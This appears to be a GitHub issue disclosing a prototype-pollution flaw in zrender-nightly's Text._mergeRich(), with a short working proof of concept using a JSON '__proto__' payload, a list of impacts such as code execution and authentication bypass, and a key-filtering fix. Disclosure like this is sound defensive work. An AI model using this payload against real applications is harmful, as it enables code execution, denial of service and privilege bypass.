-
Notifications
You must be signed in to change notification settings - Fork 1.6k
Prototype Pollution in Text._mergeRich() via zrender-nightly #1153
Description
Prototype Pollution in zrender-nightly
Summary
zrender-nightly (<= 6.0.1-dev) is vulnerable to Prototype Pollution via the Text.prototype._mergeRich() function.
- CWE: CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
- Severity: High (CVSS 7.5)
- Weekly Downloads: 39,629
- npm: https://www.npmjs.com/package/zrender-nightly
Description
zrender is the rendering engine behind Apache ECharts. The Text.prototype._mergeRich() function recursively merges rich text style objects without filtering dangerous keys (__proto__, constructor, prototype). When processing crafted rich text configuration, the function traverses into Object.prototype and modifies it.
This is especially concerning because ECharts/ZRender is one of the most widely used charting libraries, and chart configuration data often comes from external sources.
Proof of Concept
const zrender = require("zrender-nightly");
// Before: prototype is clean
console.log("Before:", ({}).polluted); // undefined
// Create a Text instance and trigger _mergeRich with malicious data
const text = new zrender.Text({});
const malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}');
text._mergeRich({}, malicious);
// After: Object.prototype is polluted
console.log("After:", ({}).polluted); // "yes"
console.log("Object.prototype.polluted:", Object.prototype.polluted); // "yes"
// Every new object inherits the polluted property
const fresh = {};
console.log("fresh.polluted:", fresh.polluted); // "yes"Why this is a real vulnerability
-
Object.prototypeis globally modified — after the PoC runs, every newly created object has the polluted property -
The root cause is in
_mergeRich()which recursively merges rich text style objects:- It iterates over all keys in the source style object
- When it encounters
__proto__, it follows it intoObject.prototype - It then assigns properties onto
Object.prototype - No key filtering is performed
-
Attack scenario: ZRender/ECharts charts accept configuration with rich text styles. If chart data comes from an API or user input:
// Server renders chart with data from API const chartData = await fetch("/api/chart-config").then(r => r.json()); chart.setOption(chartData); // If chartData contains rich text with __proto__ → pollution
-
This is a well-documented vulnerability class — CVE-2020-8203 (lodash) is the same pattern
Impact
- Remote Code Execution (RCE) —
child_process.spawninheritsshell: truefrom polluted prototype - Denial of Service (DoS) — overriding
toString/valueOfcrashes string coercion - Authentication Bypass — polluting
isAdmin/roleproperties - Property Injection — all objects inherit polluted properties
Remediation
Filter dangerous keys in _mergeRich():
const UNSAFE_KEYS = new Set(["__proto__", "constructor", "prototype"]);
// Add this check in the merge loop:
if (UNSAFE_KEYS.has(key)) continue;